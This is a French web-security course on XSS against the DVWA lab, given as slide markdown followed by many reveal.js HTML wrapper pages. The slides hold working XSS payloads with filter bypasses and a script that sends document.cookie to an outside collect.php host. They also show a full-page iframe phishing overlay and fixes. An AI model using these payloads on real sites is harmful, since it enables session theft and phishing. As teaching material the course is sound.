### <i class="fa-solid fa-bomb"></i> XSS / payloads
* Défacement de pages (*HTML*)
* Vol de session via les cookies (*JS*)
* Redirection arbitraire (*JS/HTML*)
* exploitation de [CSRF](CSRF.htm)
* Browser hijacking (*JS*)
Note:
- dans le cas d'un CSRF on récupère rien on espère que ca a marché
### <i class="fas fa-cogs"></i> XSS (reflected)
* le code malicieux n'est stocké nulle part
* injecté dans l'url et exécuté au moment de l'accès au lien malicieux
* fait forcément appel à l'ingénierie sociale pour inciter à cliquer
* phishing via lien forgé
* éventuellement obfusqué
* intitulé malicieux
* url shortener
### <i class="fa-solid fa-bomb"></i> XSS (reflected) / low
```
Name: <script>alert('pipo');</script>
```
* url forgé
* <small>[/vulnerabilities/xss_r/?name=%3Cscript%3Ealert%28%27pipo%27%29%3B%3C%2Fscript%3E#](http://dv.wa/vulnerabilities/xss_r/?name=%3Cscript%3Ealert%28%27pipo%27%29%3B%3C%2Fscript%3E#)</small>
* url forgé décodé
* <small>[/vulnerabilities/xss_r/?name=&lt;script&gt;alert('pipo');&lt;/script&gt;](http://dv.wa/vulnerabilities/xss_r/?name=<script>alert('pipo');</script>)</small>
### <i class="fa-solid fa-bomb"></i> XSS (reflected) / medium
```
Name: <script>alert('pipo');</script>
```
* les balises **script** sont filtrées :/
* les balises **sCrIpT** non
* <small>[/vulnerabilities/xss_r/?name=&lt;sCrIpT&gt;alert%28%27pipo%27%29%3B&lt;s%2FsCrIpT&gt;](http://dv.wa/vulnerabilities/xss_r/?name=<sCrIpT>alert%28%27pipo%27%29%3B<%2FsCrIpT>)</small>
### <i class="fa-solid fa-bomb"></i> XSS (reflected) / high
```
Name: <script>alert('pipo');</script>
```
* les balises **script** sont bien filtrées :/
* les autres balises ne le sont pas
```
<svg onload="alert('pipo');" />
```
* <small>[/vulnerabilities/xss_r/?name=&lt;svg+onload%3D"alert%28%27pipo%27%29%3B"+%2F&gt;#](http://dv.wa/vulnerabilities/xss_r/?name=<svg+onload%3D"alert%28%27pipo%27%29%3B"+%2F>#)</small>
### <i class="fas fa-cogs"></i> XSS (stored)
* le code malicieux est stocké dans une donnée (BDD, fichiers, ...)
* exécuté à chaque fois que la donnée infectée est affichée par un utilisateur
* le recours à l'ingénierie sociale n'est pas forcément nécessaire
### <i class="fa-solid fa-bomb"></i> XSS (stored) / low
```
Name: <script>alert('pipo');</script>
Message: <script>alert('pipo');</script>
```
* <!-- .element class="fragment rollin" -->
<i class="fas fa-bell"></i> maxlength="50"
* <!-- .element class="fragment rollin" -->
contournable avec **burp suite**
* <!-- .element class="fragment rollin" -->
contournable avec **inspector** (Browser > F12)
!["inspector"](images/xss/inspector.png "inspector")<!-- .element class="fragment rollin" -->
### <i class="fa-solid fa-bomb"></i> XSS (stored) / medium
```
Name: <script>alert('pipo');</script>
Message: <script>alert('pipo');</script>
```
affiche
```
Name: alert('pipo');
Message: alert(\'pipo\');
```
* les balises scripts sont filtrée
* avec 2 stratégies différentes
```
Name: <svg onload="alert('pipo');" />
Message: <svg onload="alert('pipo');" />
```
ne produit qu'une alerte <i class="fas fa-face-smile-wink"></i>
### <i class="fa-solid fa-bomb"></i> XSS (stored) / high
```
Name: <script>alert('pipo');</script>
Message: <script>alert('pipo');</script>
```
affiche
```
Name: >
Message: alert(\'pipo\');
```
* les balises scripts sont filtrée
* avec 2 stratégies différentes
```
Name: <svg onload="alert('pipo');" />
Message: <svg onload="alert('pipo');" />
```
ne produit qu'une alerte <i class="fas fa-face-smile-wink"></i>
### <i class="fas fa-cogs"></i>XSS (DOM)
* le code malicieux est injecté dans un élément du DOM contrôlable par l’attaquant que l'on nommme **source**
* cet élément fait partie d'une exécution dynamique de code on l'appelle **sink**
* [les sources et les sinks qui peuvent mener à des DOM XSS](https://github.com/wisec/domxsswiki/wiki/Direct-Execution-Sinks)
* souvent via l'url mais pas que
* méconnues car plutôt rares
### <i class="fa-solid fa-bomb"></i> XSS (DOM) / low
* sélectionner une valeur
* [/vulnerabilities/xss_d/?default=French](http://dv.wa/vulnerabilities/xss_d/?default=French)
* inspecter le formulaire
```
var lang = document.location.href.substring(
document.location.href.indexOf("default=")+8
);
document.write(
"<option value='" + lang + "'>"
+ decodeURI(lang)
+ "</option>"
);
```
<small><i class="fa-solid fa-circle-check"></i> [/vulnerabilities/xss_d/?default=&lt;script&gt;alert('pipo');&lt;/script&gt;](http://dv.wa/vulnerabilities/xss_d/?default=%3Cscript%3Ealert(%27pipo%27);%3C/script%3E)</small>
### <i class="fa-solid fa-bomb"></i> XSS (DOM) / medium
<small><i class="fas fa-lightbulb"></i> [/vulnerabilities/xss_d/?default=&lt;script&gt;alert('pipo');&lt;/script&gt;](http://dv.wa/vulnerabilities/xss_d/?default=%3Cscript%3Ealert(%27pipo%27);%3C/script%3E)</small>
* ne fonctionne plus
* redirection vers `default=English` si le paramètre contient le motif `<script`
!["redirect"](images/xss/redirect.png "redirect")
```
default: <svg onload="alert('pipo');" /">
```
<small><i class="fa-solid fa-circle-xmark"></i> [/vulnerabilities/xss_d/?default=%3Csvg%20onload=%22alert(%27pipo%27);%22%20/%3E](http://dv.wa/vulnerabilities/xss_d/?default=%3Csvg%20onload=%22alert(%27pipo%27);%22%20/%3E)</small>
### <i class="fa-solid fa-bomb"></i> XSS (DOM) / medium
* il faut générer un code HTML syntaxiquement valide
```
default: ></option></select><svg onload="alert('pipo');" /">
```
<small><i class="fa-solid fa-circle-check"></i> [/vulnerabilities/xss_d/?default=%3E%3C/option%3E%3C/select%3E%3Csvg%20onload=%22alert(%27pipo%27);%22%20/%22%3E](http://dv.wa/vulnerabilities/xss_d/?default=%3E%3C/option%3E%3C/select%3E%3Csvg%20onload=%22alert(%27pipo%27);%22%20/%22%3E)</small>
### <i class="fa-solid fa-bomb"></i> XSS (DOM) / high
* la variable http est désormais testé par liste blanche
* elle devient inutilisable MAIS
```
var lang= document.location.href.substring(
document.location.href.indexOf("default=")+8
);
```
* récupère TOUS les caractères à partir du huitième en fin d'url
* donc `?default=` ne marche plus MAIS `#default=` a une chance de marcher
<small><i class="fa-solid fa-circle-check"></i> [/vulnerabilities/xss_d/#default=&lt;script&gt;alert('pipo');&lt;/script&gt;](http://dv.wa/vulnerabilities/xss_d/#default=<script>alert('pipo');</script>)</small>
### <i class="fa-solid fa-bomb"></i> XSS / payloads / défacement
* l'idée est de recouvrir la page
* avec un message "p0wned" style
* avec une page malicieuse
* imiter un formulaire d'authentification légitime pour l'utilisateur
* récupérer les données saisies et rediriger l'utilisateur
* être le plus silencieux possible dans la navigation
### <i class="fa-solid fa-bomb"></i> XSS / payloads / défacement
```
wget https://perso.isima.fr/mazenod/slides/1337/exploits.zip -O ~/Desktop/exploits.zip
```
* page malicieuse
* [https://perso.limos.fr/mazenod/slides/1337/exploits/login.php](https://perso.limos.fr/mazenod/slides/1337/exploits/login.php)
```
<form method="get" id="fm1" class=""
action="https://perso.limos.fr/mazenod/slides/1337/exploits/collect.php">
```
* https://perso.limos.fr/mazenod/slides/1337/exploits/collect.php
```
// redirect pour être silencieux
```
### <i class="fa-solid fa-bomb"></i> XSS / payloads / défacement
```
Name: <iframe src="https://perso.limos.fr/mazenod/slides/1337/exploits/login.php"
style="position: absolute; top:0; left: 0; width: 100%; height: 100%;">
</iframe>
```
<small><i class="fa-solid fa-circle-check"></i> XSS / reflected / low [/vulnerabilities/xss_r/?name=&lt;iframe+...+&lt;%2Fiframe&gt;#](http://dv.wa/vulnerabilities/xss_r/?name=%3Ciframe+src%3D%22https%3A%2F%2Fperso.limos.fr%2Fmazenod%2Fslides%2F1337%2Fexploits%2Flogin.php%22+++style%3D%22position%3A+absolute%3B+top%3A0%3B+left%3A+0%3B+width%3A+100%25%3B+height%3A+100%25%3B%22%3E+%3C%2Fiframe%3E#)</small>
<i class="fa-solid fa-lightbulb"></i> [par défaut apache ne permet pas d'inclure des pages dans des iframes](https://tecadmin.net/configure-x-frame-options-apache/)
```
Header always unset X-Frame-Options # à ajouter .htaccess
```
### <i class="fa-solid fa-bomb"></i> XSS / payloads / vol de session
* Tout le contexte du navigateur est accessible
* [créant une véritable empreinte de votre navigateur](https://coveryourtracks.eff.org/)
* l'appel au script distant est réalisé en javascript
```js
<script>
location.replace("https://perso.limos.fr/mazenod/slides/1337/exploits/collect.php?cookie=" + document.cookie);
</script>
```
* https://perso.limos.fr/mazenod/slides/1337/exploits/collect.php
```
// redirect pour être silencieux
```
<small><i class="fa-solid fa-circle-check"></i> XSS / reflected / low [/vulnerabilities/xss_r/?name=&lt;iframe+...+&lt;%2Fiframe&gt;#](http://dv.wa/vulnerabilities/xss_r/?name=%3Ciframe+src%3D%22https%3A%2F%2Fperso.limos.fr%2Fmazenod%2Fslides%2F1337%2Fexploits%2Flogin.php%22+++style%3D%22position%3A+absolute%3B+top%3A0%3B+left%3A+0%3B+width%3A+100%25%3B+height%3A+100%25%3B%22%3E+%3C%2Fiframe%3E#)</small>
### <i class="fa-solid fa-bomb"></i> XSS / payloads / CSRF
* voir [CSRF](/slides/1337/csrf.html)
### <i class="fa-solid fa-bomb"></i> XSS / payloads / Browser Hijacking
* [BeEF - The Browser Exploitation Framework Project](http://beefproject.com/)
* inclusion d'un hook.js
* les navigateurs connectés à la page se comportent ensuite comme des zombies
* répondent aux payloads qu'on leur envoie
### <i class="fa-solid fa-bomb"></i> XSS / payloads / Browser Hijacking
<iframe
width="560"
height="315"
src="https://www.youtube.com/embed/fiD-5Mg8azw?si=6vskSNJCiGiEq655"
title="YouTube video player"
frameborder="0"
allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share"
allowfullscreen></iframe>
### Amy Plant / J'ai hacké mon crush
### <i class="fas fa-medkit"></i> XSS / fix
* utiliser un moteur de template
* échappe par défaut
* dans le `php.ini` pour éviter la manipulation des cookies via javascript
```http
session.cookie_httponly = 1
```
### <i class="fas fa-medkit"></i> XSS / fix
* échapper / filtrer les entrées
* [htmlspecialchars()](http://php.net/manual/fr/function.htmlspecialchars.php) transforme tous les caractères en entité html
* [htmlentities()](http://php.net/manual/fr/function.htmlentities.php) fait l'opération inverse
* listes blanches
* Web Application Firewall (WAF)
* [mod_security](https://www.modsecurity.org/)
### <i class="fas fa-medkit"></i> XSS / fix
* <i class="fas fa-fire"></i> [XSS Filter Evasion Cheat Sheet](https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet)
* <i class="fas fa-fire"></i> [<i class="fab fa-github"></i> alcuadrado/hieroglyphy](https://github.com/alcuadrado/hieroglyphy)
* [<i class="fa fa-newspaper-o"></i> permet de convertir le code js en caractères non alphanumériques en le gardant fonctionnel](http://patriciopalladino.com/blog/2012/08/09/non-alphanumeric-javascript.html)
* coté client
* [<i class="fab fa-firefox"></i> NoScript](https://addons.mozilla.org/fr/firefox/addon/noscript/) est une option
Note:
- waf pro mode apprentissage avant le lancement pre prod
- mod_security aucun mode apprentissage
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
<title>réagir</title>
<link rel="stylesheet" href="../../node_modules/reveal.js/css/reveal.css">
<link rel="stylesheet" href="../../node_modules/reveal.js/css/theme/white.css">
<!-- Theme used for syntax highlighting of code -->
<link rel="stylesheet" href="../../node_modules/reveal.js/lib/css/zenburn.css">
<link rel="stylesheet" href="../../node_modules/font-awesome/css/font-awesome.min.css">
<link rel="stylesheet" href="../main.css">
<!-- Printing and PDF exports -->
<script>
var link = document.createElement( 'link' );
link.rel = 'stylesheet';
link.type = 'text/css';
link.href = window.location.search.match( /print-pdf/gi ) ? '../../node_modules/reveal.js/css/print/pdf.css' : '../../node_modules/reveal.js/css/print/paper.css';
document.getElementsByTagName( 'head' )[0].appendChild( link );
</script>
</head>
<body>
<div class="reveal">
<div class="slides">
<section data-markdown="md/reagir/00_contexte.md"
data-separator="^\n\n\n"
data-separator-vertical="^\n\n"
data-separator-notes="^Note:"
data-charset="utf-8">
</section>
</div>
</div>
<script src="../../node_modules/reveal.js/lib/js/head.min.js"></script>
<script src="../../node_modules/reveal.js/js/reveal.js"></script>
<script>
// More info about config & dependencies:
// - https://github.com/hakimel/reveal.js#configuration
// - https://github.com/hakimel/reveal.js#dependencies
Reveal.initialize({
controls: true,
progress: true,
history: true,
center: false,
dependencies: [
{ src: '../../node_modules/reveal.js/plugin/markdown/marked.js' },
{ src: '../../node_modules/reveal.js/plugin/markdown/markdown.js',
condition: function() { return !!document.querySelector( '[data-markdown]' ); },
callback: function() {
Array.prototype.forEach.call(document.querySelectorAll('section > li'), function(ele){
var fragIndex = ele.innerHTML.indexOf("--")
if (fragIndex != -1){
ele.innerHTML = ele.innerHTML.replace("--", "");
ele.className = 'fragment';
}
});
}
},
{ src: '../../node_modules/reveal.js/plugin/notes/notes.js', async: true },
{ src: '../../node_modules/reveal.js/plugin/highlight/highlight.js', async: true, callback: function() { hljs.initHighlightingOnLoad(); } }
]
});
</script>
</body>
</html>
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
<title>Session</title>
<link rel="stylesheet" href="../../node_modules/reveal.js/css/reveal.css">
<link rel="stylesheet" href="../../node_modules/reveal.js/css/theme/black.css">
<!-- Theme used for syntax highlighting of code -->
<link rel="stylesheet" href="../../node_modules/reveal.js/lib/css/zenburn.css">
<link rel="stylesheet" href="../../node_modules/@fortawesome/fontawesome-free/css/all.min.css">
<link rel="stylesheet" href="../main.css">
<!-- Printing and PDF exports -->
<script>
var link = document.createElement( 'link' );
link.rel = 'stylesheet';
link.type = 'text/css';
link.href = window.location.search.match( /print-pdf/gi ) ? '../../node_modules/reveal.js/css/print/pdf.css' : '../../node_modules/reveal.js/css/print/paper.css';
document.getElementsByTagName( 'head' )[0].appendChild( link );
</script>
</head>
<body>
<div class="reveal">
<div class="slides">
<section data-markdown="md/session.md"
data-separator="^\n\n\n"
data-separator-vertical="^\n\n"
data-separator-notes="^Note:"
data-charset="utf-8">
</section>
</div>
</div>
<!-- script src="../../node_modules/reveal.js/lib/js/head.min.js"></script -->
<script src="../../node_modules/reveal.js/js/reveal.js"></script>
<script>
// More info about config & dependencies:
// - https://github.com/hakimel/reveal.js#configuration
// - https://github.com/hakimel/reveal.js#dependencies
Reveal.initialize({
controls: true,
progress: true,
history: true,
center: false,
dependencies: [
{ src: '../../node_modules/reveal.js/plugin/markdown/marked.js' },
{ src: '../../node_modules/reveal.js/plugin/markdown/markdown.js',
condition: function() { return !!document.querySelector( '[data-markdown]' ); },
callback: function() {
Array.prototype.forEach.call(document.querySelectorAll('section > li'), function(ele){
var fragIndex = ele.innerHTML.indexOf("--")
if (fragIndex != -1){
ele.innerHTML = ele.innerHTML.replace("--", "");
ele.className = 'fragment';
}
});
}
},
{ src: '../../node_modules/reveal.js/plugin/notes/notes.js', async: true },
{ src: '../../node_modules/reveal.js/plugin/highlight/highlight.js', async: true, callback: function() { hljs.initHighlightingOnLoad(); } }
]
});
</script>
<script src="../main.js"></script>
</body>
</html>
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
<title>Sécurité des applications web</title>
<link rel="stylesheet" href="../../node_modules/reveal.js/css/reveal.css">
<link rel="stylesheet" href="../../node_modules/reveal.js/css/theme/white.css">
<!-- Theme used for syntax highlighting of code -->
<link rel="stylesheet" href="../../node_modules/reveal.js/lib/css/zenburn.css">
<link rel="stylesheet" href="../../node_modules/font-awesome/css/font-awesome.min.css">
<link rel="stylesheet" href="../main.css">
<!-- Printing and PDF exports -->
<script>
var link = document.createElement( 'link' );
link.rel = 'stylesheet';
link.type = 'text/css';
link.href = window.location.search.match( /print-pdf/gi ) ? '../../node_modules/reveal.js/css/print/pdf.css' : '../../node_modules/reveal.js/css/print/paper.css';
document.getElementsByTagName( 'head' )[0].appendChild( link );
</script>
</head>
<body>
<div class="reveal">
<div class="slides">
<section data-markdown="md/sidoine.md"
data-separator="^\n\n\n"
data-separator-vertical="^\n\n"
data-separator-notes="^Note:"
data-charset="utf-8">
</section>
</div>
</div>
<script src="../../node_modules/reveal.js/lib/js/head.min.js"></script>
<script src="../../node_modules/reveal.js/js/reveal.js"></script>
<script>
// More info about config & dependencies:
// - https://github.com/hakimel/reveal.js#configuration
// - https://github.com/hakimel/reveal.js#dependencies
Reveal.initialize({
controls: true,
progress: true,
history: true,
center: false,
dependencies: [
{ src: '../../node_modules/reveal.js/plugin/markdown/marked.js' },
{ src: '../../node_modules/reveal.js/plugin/markdown/markdown.js',
condition: function() { return !!document.querySelector( '[data-markdown]' ); },
callback: function() {
Array.prototype.forEach.call(document.querySelectorAll('section > li'), function(ele){
var fragIndex = ele.innerHTML.indexOf("--")
if (fragIndex != -1){
ele.innerHTML = ele.innerHTML.replace("--", "");
ele.className = 'fragment';
}
});
}
},
{ src: '../../node_modules/reveal.js/plugin/notes/notes.js', async: true },
{ src: '../../node_modules/reveal.js/plugin/highlight/highlight.js', async: true, callback: function() { hljs.initHighlightingOnLoad(); } }
]
});
</script>
</body>
</html>
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
<title>SOP</title>
<link rel="stylesheet" href="../../node_modules/reveal.js/css/reveal.css">
<link rel="stylesheet" href="../../node_modules/reveal.js/css/theme/black.css">
<!-- Theme used for syntax highlighting of code -->
<link rel="stylesheet" href="../../node_modules/reveal.js/lib/css/zenburn.css">
<link rel="stylesheet" href="../../node_modules/@fortawesome/fontawesome-free/css/all.min.css">
<link rel="stylesheet" href="../main.css">
<!-- Printing and PDF exports -->
<script>
var link = document.createElement( 'link' );
link.rel = 'stylesheet';
link.type = 'text/css';
link.href = window.location.search.match( /print-pdf/gi ) ? '../../node_modules/reveal.js/css/print/pdf.css' : '../../node_modules/reveal.js/css/print/paper.css';
document.getElementsByTagName( 'head' )[0].appendChild( link );
</script>
</head>
<body>
<div class="reveal">
<div class="slides">
<section data-markdown="md/sop.md"
data-separator="^\n\n\n"
data-separator-vertical="^\n\n"
data-separator-notes="^Note:"
data-charset="utf-8">
</section>
</div>
</div>
<!-- script src="../../node_modules/reveal.js/lib/js/head.min.js"></script -->
<script src="../../node_modules/reveal.js/js/reveal.js"></script>
<script>
// More info about config & dependencies:
// - https://github.com/hakimel/reveal.js#configuration
// - https://github.com/hakimel/reveal.js#dependencies
Reveal.initialize({
controls: true,
progress: true,
history: true,
center: false,
dependencies: [
{ src: '../../node_modules/reveal.js/plugin/markdown/marked.js' },
{ src: '../../node_modules/reveal.js/plugin/markdown/markdown.js',
condition: function() { return !!document.querySelector( '[data-markdown]' ); },
callback: function() {
Array.prototype.forEach.call(document.querySelectorAll('section > li'), function(ele){
var fragIndex = ele.innerHTML.indexOf("--")
if (fragIndex != -1){
ele.innerHTML = ele.innerHTML.replace("--", "");
ele.className = 'fragment';
}
});
}
},
{ src: '../../node_modules/reveal.js/plugin/notes/notes.js', async: true },
{ src: '../../node_modules/reveal.js/plugin/highlight/highlight.js', async: true, callback: function() { hljs.initHighlightingOnLoad(); } }
]
});
</script>
<script src="../main.js"></script>
</body>
</html>
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
<title>SQLi</title>
<link rel="stylesheet" href="../../node_modules/reveal.js/css/reveal.css">
<link rel="stylesheet" href="../../node_modules/reveal.js/css/theme/black.css">
<!-- Theme used for syntax highlighting of code -->
<link rel="stylesheet" href="../../node_modules/reveal.js/lib/css/zenburn.css">
<link rel="stylesheet" href="../../node_modules/@fortawesome/fontawesome-free/css/all.min.css">
<link rel="stylesheet" href="../main.css">
<!-- Printing and PDF exports -->
<script>
var link = document.createElement( 'link' );
link.rel = 'stylesheet';
link.type = 'text/css';
link.href = window.location.search.match( /print-pdf/gi ) ? '../../node_modules/reveal.js/css/print/pdf.css' : '../../node_modules/reveal.js/css/print/paper.css';
document.getElementsByTagName( 'head' )[0].appendChild( link );
</script>
</head>
<body>
<div class="reveal">
<div class="slides">
<section data-markdown="md/sqli.md"
data-separator="^\n\n\n"
data-separator-vertical="^\n\n"
data-separator-notes="^Note:"
data-charset="utf-8">
</section>
</div>
</div>
<!-- script src="../../node_modules/reveal.js/lib/js/head.min.js"></script -->
<script src="../../node_modules/reveal.js/js/reveal.js"></script>
<script>
// More info about config & dependencies:
// - https://github.com/hakimel/reveal.js#configuration
// - https://github.com/hakimel/reveal.js#dependencies
Reveal.initialize({
controls: true,
progress: true,
history: true,
center: false,
dependencies: [
{ src: '../../node_modules/reveal.js/plugin/markdown/marked.js' },
{ src: '../../node_modules/reveal.js/plugin/markdown/markdown.js',
condition: function() { return !!document.querySelector( '[data-markdown]' ); },
callback: function() {
Array.prototype.forEach.call(document.querySelectorAll('section > li'), function(ele){
var fragIndex = ele.innerHTML.indexOf("--")
if (fragIndex != -1){
ele.innerHTML = ele.innerHTML.replace("--", "");
ele.className = 'fragment';
}
});
}
},
{ src: '../../node_modules/reveal.js/plugin/notes/notes.js', async: true },
{ src: '../../node_modules/reveal.js/plugin/highlight/highlight.js', async: true, callback: function() { hljs.initHighlightingOnLoad(); } }
]
});
</script>
<script src="../main.js"></script><script src="../main.js"></script>
</body>
</html>
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
<title>Top 10</title>
<link rel="stylesheet" href="../../node_modules/reveal.js/css/reveal.css">
<link rel="stylesheet" href="../../node_modules/reveal.js/css/theme/white.css">
<!-- Theme used for syntax highlighting of code -->
<link rel="stylesheet" href="../../node_modules/reveal.js/lib/css/zenburn.css">
<link rel="stylesheet" href="../../node_modules/font-awesome/css/font-awesome.min.css">
<link rel="stylesheet" href="../main.css">
<!-- Printing and PDF exports -->
<script>
var link = document.createElement( 'link' );
link.rel = 'stylesheet';
link.type = 'text/css';
link.href = window.location.search.match( /print-pdf/gi ) ? '../../node_modules/reveal.js/css/print/pdf.css' : '../../node_modules/reveal.js/css/print/paper.css';
document.getElementsByTagName( 'head' )[0].appendChild( link );
</script>
</head>
<body>
<div class="reveal">
<div class="slides">
<section data-markdown="md/top10.md"
data-separator="^\n\n\n"
data-separator-vertical="^\n\n"
data-separator-notes="^Note:"
data-charset="utf-8">
</section>
</div>
</div>
<script src="../../node_modules/reveal.js/lib/js/head.min.js"></script>
<script src="../../node_modules/reveal.js/js/reveal.js"></script>
<script>
// More info about config & dependencies:
// - https://github.com/hakimel/reveal.js#configuration
// - https://github.com/hakimel/reveal.js#dependencies
Reveal.initialize({
controls: true,
progress: true,
history: true,
center: false,
dependencies: [
{ src: '../../node_modules/reveal.js/plugin/markdown/marked.js' },
{ src: '../../node_modules/reveal.js/plugin/markdown/markdown.js',
condition: function() { return !!document.querySelector( '[data-markdown]' ); },
callback: function() {
Array.prototype.forEach.call(document.querySelectorAll('section > li'), function(ele){
var fragIndex = ele.innerHTML.indexOf("--")
if (fragIndex != -1){
ele.innerHTML = ele.innerHTML.replace("--", "");
ele.className = 'fragment';
}
});
}
},
{ src: '../../node_modules/reveal.js/plugin/notes/notes.js', async: true },
{ src: '../../node_modules/reveal.js/plugin/highlight/highlight.js', async: true, callback: function() { hljs.initHighlightingOnLoad(); } }
]
});
</script>
</body>
</html>
......@@ -7,11 +7,11 @@
<title>Upload</title>
<link rel="stylesheet" href="../../node_modules/reveal.js/css/reveal.css">
<link rel="stylesheet" href="../../node_modules/reveal.js/css/theme/white.css">
<link rel="stylesheet" href="../../node_modules/reveal.js/css/theme/black.css">
<!-- Theme used for syntax highlighting of code -->
<link rel="stylesheet" href="../../node_modules/reveal.js/lib/css/zenburn.css">
<link rel="stylesheet" href="../../node_modules/font-awesome/css/font-awesome.min.css">
<link rel="stylesheet" href="../../node_modules/@fortawesome/fontawesome-free/css/all.min.css">
<link rel="stylesheet" href="../main.css">
<!-- Printing and PDF exports -->
......@@ -35,7 +35,7 @@
</div>
</div>
<script src="../../node_modules/reveal.js/lib/js/head.min.js"></script>
<!-- script src="../../node_modules/reveal.js/lib/js/head.min.js"></script -->
<script src="../../node_modules/reveal.js/js/reveal.js"></script>
<script>
......
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
<title>XSS</title>
<link rel="stylesheet" href="../../node_modules/reveal.js/css/reveal.css">
<link rel="stylesheet" href="../../node_modules/reveal.js/css/theme/black.css">
<!-- Theme used for syntax highlighting of code -->
<link rel="stylesheet" href="../../node_modules/reveal.js/lib/css/zenburn.css">
<link rel="stylesheet" href="../../node_modules/@fortawesome/fontawesome-free/css/all.min.css">
<link rel="stylesheet" href="../main.css">
<!-- Printing and PDF exports -->
<script>
var link = document.createElement( 'link' );
link.rel = 'stylesheet';
link.type = 'text/css';
link.href = window.location.search.match( /print-pdf/gi ) ? '../../node_modules/reveal.js/css/print/pdf.css' : '../../node_modules/reveal.js/css/print/paper.css';
document.getElementsByTagName( 'head' )[0].appendChild( link );
</script>
</head>
<body>
<div class="reveal">
<div class="slides">
<section data-markdown="md/xss.md"
data-separator="^\n\n\n"
data-separator-vertical="^\n\n"
data-separator-notes="^Note:"
data-charset="utf-8">
</section>
</div>
</div>
<!-- script src="../../node_modules/reveal.js/lib/js/head.min.js"></script -->
<script src="../../node_modules/reveal.js/js/reveal.js"></script>
<script>
// More info about config & dependencies:
// - https://github.com/hakimel/reveal.js#configuration
// - https://github.com/hakimel/reveal.js#dependencies
Reveal.initialize({
controls: true,
progress: true,
history: true,
center: false,
dependencies: [
{ src: '../../node_modules/reveal.js/plugin/markdown/marked.js' },
{ src: '../../node_modules/reveal.js/plugin/markdown/markdown.js',
condition: function() { return !!document.querySelector( '[data-markdown]' ); },
callback: function() {
Array.prototype.forEach.call(document.querySelectorAll('section > li'), function(ele){
var fragIndex = ele.innerHTML.indexOf("--")
if (fragIndex != -1){
ele.innerHTML = ele.innerHTML.replace("--", "");
ele.className = 'fragment';
}
});
}
},
{ src: '../../node_modules/reveal.js/plugin/notes/notes.js', async: true },
{ src: '../../node_modules/reveal.js/plugin/highlight/highlight.js', async: true, callback: function() { hljs.initHighlightingOnLoad(); } }
]
});
</script>
<script src="../main.js"></script>
</body>
</html>
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
<title>ansible rôle</title>
<link rel="stylesheet" href="../../node_modules/reveal.js/css/reveal.css">
<link rel="stylesheet" href="../../node_modules/reveal.js/css/theme/white.css">
<!-- Theme used for syntax highlighting of code -->
<link rel="stylesheet" href="../../node_modules/reveal.js/lib/css/zenburn.css">
<link rel="stylesheet" href="../../node_modules/font-awesome/css/font-awesome.min.css">
<link rel="stylesheet" href="../main.css">
<!-- Printing and PDF exports -->
<script>
var link = document.createElement( 'link' );
link.rel = 'stylesheet';
link.type = 'text/css';
link.href = window.location.search.match( /print-pdf/gi ) ? '../../node_modules/reveal.js/css/print/pdf.css' : '../../node_modules/reveal.js/css/print/paper.css';
document.getElementsByTagName( 'head' )[0].appendChild( link );
</script>
</head>
<body>
<div class="reveal">
<div class="slides">
<section data-markdown="md/ansible-role.md"
data-separator="^\n\n\n"
data-separator-vertical="^\n\n"
data-separator-notes="^Note:"
data-charset="utf-8">
</section>
</div>
</div>
<script src="../../node_modules/reveal.js/lib/js/head.min.js"></script>
<script src="../../node_modules/reveal.js/js/reveal.js"></script>
<script>
// More info about config & dependencies:
// - https://github.com/hakimel/reveal.js#configuration
// - https://github.com/hakimel/reveal.js#dependencies
Reveal.initialize({
controls: true,
progress: true,
history: true,
center: false,
dependencies: [
{ src: '../../node_modules/reveal.js/plugin/markdown/marked.js' },
{ src: '../../node_modules/reveal.js/plugin/markdown/markdown.js' },
{ src: '../../node_modules/reveal.js/plugin/notes/notes.js', async: true },
{ src: '../../node_modules/reveal.js/plugin/highlight/highlight.js', async: true, callback: function() { hljs.initHighlightingOnLoad(); } }
]
});
</script>
</body>
</html>
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
<title>CRI INP / ISIMA / LIMOS</title>
<link rel="stylesheet" href="../../node_modules/reveal.js/css/reveal.css">
<link rel="stylesheet" href="../../node_modules/reveal.js/css/theme/white.css">
<!-- Theme used for syntax highlighting of code -->
<link rel="stylesheet" href="../../node_modules/reveal.js/lib/css/zenburn.css">
<link rel="stylesheet" href="../../node_modules/font-awesome/css/font-awesome.min.css">
<link rel="stylesheet" href="../main.css">
<!-- Printing and PDF exports -->
<script>
var link = document.createElement( 'link' );
link.rel = 'stylesheet';
link.type = 'text/css';
link.href = window.location.search.match( /print-pdf/gi ) ? '../../node_modules/reveal.js/css/print/pdf.css' : '../../node_modules/reveal.js/css/print/paper.css';
document.getElementsByTagName( 'head' )[0].appendChild( link );
</script>
</head>
<body>
<div class="reveal">
<div class="slides">
<section data-markdown="md/cri.md"
data-separator="^\n\n\n"
data-separator-vertical="^\n\n"
data-separator-notes="^Note:"
data-charset="utf-8">
</section>
</div>
</div>
<script src="../../node_modules/reveal.js/lib/js/head.min.js"></script>
<script src="../../node_modules/reveal.js/js/reveal.js"></script>
<script>
// More info about config & dependencies:
// - https://github.com/hakimel/reveal.js#configuration
// - https://github.com/hakimel/reveal.js#dependencies
Reveal.initialize({
controls: true,
progress: true,
history: true,
center: false,
dependencies: [
{ src: '../../node_modules/reveal.js/plugin/markdown/marked.js' },
